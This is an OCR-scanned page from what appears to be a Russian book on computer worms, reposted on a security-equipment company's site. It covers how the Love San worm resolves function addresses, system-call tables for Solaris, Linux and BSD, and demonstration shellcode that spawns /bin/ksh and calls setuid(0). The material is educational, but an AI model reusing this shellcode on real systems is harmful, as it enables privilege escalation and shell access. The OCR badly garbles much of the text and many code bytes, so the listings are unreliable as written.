8(495)909-90-01
8(964)644-46-00
pro@sio.su
Главная
Системы видеонаблюдения
Охранная сигнализация
Пожарная сигнализация
Система пожаротушения
Система контроля удаленного доступа
Оповещение и эвакуация
Контроль периметра
Система домофонии
Парковочные системы
Проектирование слаботочных сетей
Аварийный
контроль
Раздел: Документация

0 ... 46 47 48 49 50 51 52 ... 102

Се*Р52-~~ ент червя Love San, осуществляющий окончательное Яистииг426 огРраеДеление адреСа АРЬФУНКЦИИ 6 памяти

data data data date data data data

00404?5C

гш ebx. fedx+24hj 0"o4W75F add ebx. ebp 00404761 mv c*- [ebx-ecx*?]

add ebx, ebp mov eax. [ebx-ecx*4j aod eax. eoo

o0404765 00404768 0040476A 0040476D

i памяти

смешение таблиаы экспорта ординалов адрес таблицы ординалов получаек индекс в таблице адресов смешение экспортной таблицы адресов адрес экспортной табг.ицы адресов получаем смещение функции по индексу получаем адрес функции

ЕАЛИЗАЦИЯ СИСТЕМНЫХ ВЫЗОВОВ В РАЗЛИЧНЫХ ОС

м системных вызовов — это задний лвор операционной системы, или, . лиугоано, ее внутренняя и не всегда хорошо документированная кухня. Внут-"н червя плавают какие-то константы, команды, сложным образом манипулирующие регистрами, но физический смысл происходящего в целом остается неясным.

Ниже приводится краткая справочная информация о способах реализации системных вызовов в различных ОС с указанием наиболее популярных функций, в полной мере обеспечивающих жизнедеятельность червя (материал позаимствован из статьи «UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes* от LSD Research Group, которую я всячески рекомендую всем кодоконателям и исследователям компьютерных вирусов и червей в частности).

SOLARIS/SPARC

(не темный вызов осуществляется через ловушку (trap), возбуждаемую специальной машинной командой ta 8. Номер системного вызова передается через адибоТ Sl 3 аРгументы ~ через регистры оО, ol, о2, оЗ и о4. Перечень номеров •>де J Се потРеляемых системных функций приведен далее (листинг 4.27), монстрационный пример shell-кода под Solaris/SPARC - в листинге 4.28.

Л,СТинг4.27.

«сап

Номера

системных вызовов в Solaris/SPARC

г.ад.«91 %о0. %о]. %о2. %оЗ. %сА

ехес00Bh -> path = "/bin/ksh". ~> L->aO = path.O]

0]00Вт > Dath - "/bin/ksh". -> [-»a0 = path. -»al- "-c" -»a2 - and.

setuid

•*dirC17h uid - 0

:,1гоо«05Dh -* Path = "b..". node = (each value is valid)

-» path = "b..". "." -> path = ".."

sfd. TI GE1PEERNAME = 5491h. -> [mien - 54h. len - 54h. ->sadr ct °E6h AF INO=2 S0C< STRFAM=2. orot=0. oevpath-0. S0V DEFAULT-1

Stream . 2ce8h sfd- -» sadr - -33h- 2. м.ю.о.о.о.о]. len-ioh.

Mr03Dh

°ctlOOCh

* tl]036h

продолжение &


Листинг 4.27 (продолжение)

listen0E9h sfd.

acceptOEAh sfd.

fcntl03En sfd.

0E9h sfd. backlog = 5. vers = (not required in this syscali OEAh sfd. 0. 0. vers = (not required in this syscali) 03En sfd. F 0UP2FD = 09h. fd = 0. 1. 2

Листинг 4.28. Демонстрационный пример shell-кода под Solaris/SPARC

char shell code:>/* 10*4+8 bytes */

"\x20\xbf\xff\xff"/* bn.a <shellcode-4>: \

"\x20\xbf\xff\xff"/* bn.a <shellcode>: +- текущий указатель команд Bto7

"\x7f\xff\xff\xff"/* call <shellcode+4>: /

"\x90\x03\xe0\x20"/* add 5to7.32.to0: в XoO указатель на /bin/ksh

"\x92\x02\x20\xl0"/* add XoO.16.Xol: вSol указа!ель на свободную память

"\xcO\x22\x20\xC8"/* st Xg0.[to0+8]: ставим завершающий ноль в /oin/Ksh

"\xdO\x22\x20\xIC"/* st ХоО.[ХоО+16]: зануляем память по указателе %ol

•\xc0\x22\x20\xl4/* st 5;gb.[XoO+20]: the same

"\x82\xl0\x20\x0b"/* mov OxOb.Xgl: номер системной функции exec

"\x91\xd0\x20\x08"/* ta 8: вызываем функцию exec "/bin/ksr":

*/

*/

SOLAR IS/Х86

Системный вызов осуществляется через шлюз дальнего вызова по адресу 007:00000000 (селектор семь, смещение ноль). Номер системного вызова передается через регистр еах, а аргументы — через стек, причем самый левый аргумент заталкивается в стек последним. Стек очищает сама вызываемая функция. Номера системных вызовов в SoIaris/x86 приведены в листинге 4.29, а демонстрационный пример shell-кода под SoIaris/x86 — в листинге 4.30.

Листинг 4.29. Номера системных вызовов в Solaris/x86

syscali

%cax

stack

exec

OBh

ret. -> path = "/bin/ksh". -> [-> aO = path. 0]

exec

OBh

ret. -> path = "/bin/ksh". -> aO = path. -> al

a2 = cmd. 0]

setuid

17h

ret. uid = 0

mkdir

5Ch

ret. -> path = "b..". mode = (each value is valid)

chroot

3Ch

ret. —> path = "b.

chdir

OCh

ret. —> path =

ioctl

36h

ret. sfd. TI GETPEERNAME = 5491h. [mien = 91h.

adr=[]]

AFJNET=2.S0CK STREAM=2.prot=0.devpath=0.S0V DEFAULT

so socket E6h

ret.

bind

E8h

ret. sfd. -> sadr = [FFh. 2. hi. lo.

0.0.0.0].1en=lCh.S0V S0CKSTREAM=2,

listenF9h ret. sfd. backlog = 5. vers - (not required in this sysca

acceptEah ret. sfd. 0. 0. vers = (not required in this syscali)

fcntl3Er ret. sfd. FJXJP2FD = 09h. fd - 0. 1. 2

Листинг 4.30. Демонстрационный пример shell-кода под Solaris/x86

char setuidcccc[]=/* 7 bytes */t

"\x33\xc0"/* xorl ХеахДеах : ЕАХ := 0


ргдания shell-кода

157

/* pushl Хеах /* movb $0x17 Да1 /* call *Xesi

заталкиваем в стек нуль*/

номер системной функции setuid */ setuid(O)*/

.,ff\xd6 linux/x86

nii вызов осуществляется через программное прерывание но вектору Систе-4 0уждасмое машинной инструкцией INT 80h. Номер системного вызова BOh, ч - через регистр еах, а аргументы — через регистры ebx, есх и edx (лис-"4 31) Демонстрационный пример shell-кода под Linux/x86 приведен в лизинге 4.32.

Листинг 4.31- Номера системных вызовов в Linux/x86

syscall exec exec cmd. 0]

Xeax OBh

itebx. Xecx. Xedx

-» path = ,7bin//sh\

->:-»aO

= path. 0]

OBh

-» path = "/bin//sh".

-> [-» aO

= path. -> al =

setuid

17h

uid = 0

nkdir

27h

-» path = "b..". mode

= 0 (each

value is valid)

chroot

3Dh

-» path = "b..". "."

cndir

OCh

-> path = ".."

socketcall 66h

getpeername = 7. -» Lsfd. -»

sadr = []

-» [len=10h]]

socketcall 66h

socket

= 1. » [AFJNFJ = 2.

SOCK STREAM = 2.prot = 0]

sockefcal" 66h

bird =

2. -> [sfd. -> sadr =

[FFh. 2. 1

i. lo. 0. 0. 0.

socketcall 66h

1i sten

= 4. -> [sfd. backlog

= 102]

sccketcall 66h

accept

= 5. -» [sfd. 0. 0]

dup2

3Fh

sfd. fd - 2. 1. 0

a2

=10h]

EAX := 0 EBX := 0

номер системной функции stuld setuid(O)

*/ */ */ */

Листинг 4.32. Демонстрационный пример shell-кода под Linux/x86

char setipdcodeO /* 8 bytes */ "\x33\xc0" /* xorl Жеах.Хеах "\x31\xdb" /* xorl Xebx.XeDx "\xb0\xl7" /* movb $0x17.Sal "\xcd\x80" /* int $0x80

pREE, NET, OPENBSD/X86

Операционные системы семейства BSD реализуют гибридный механизм вызо-васистемных функций: поддерживая как far call на адрес 0007:00000000 (толь-Ко номСра системных функций другие), так и прерывание по вектору 80п. Аргусы в обоих случаях передаются через стек (листинги 4.33 и 4.34).

Л,СТинг4.33. Номера системных вызовов в BSD/X86

=хрСа1*еах stack

CVe3№ ret. -» path = "//bin//sh\ -> [-» aO

a2 Ve3Bh ret. -> patn = -//bin//sh". -> [-» aO

спи, ci r

ld17h ret. uid = 0

88h ret. -» path =• "b..". mode - (each value is vand)

продолжение &

ilr

0]. 0 path.

al

-c"



0 ... 46 47 48 49 50 51 52 ... 102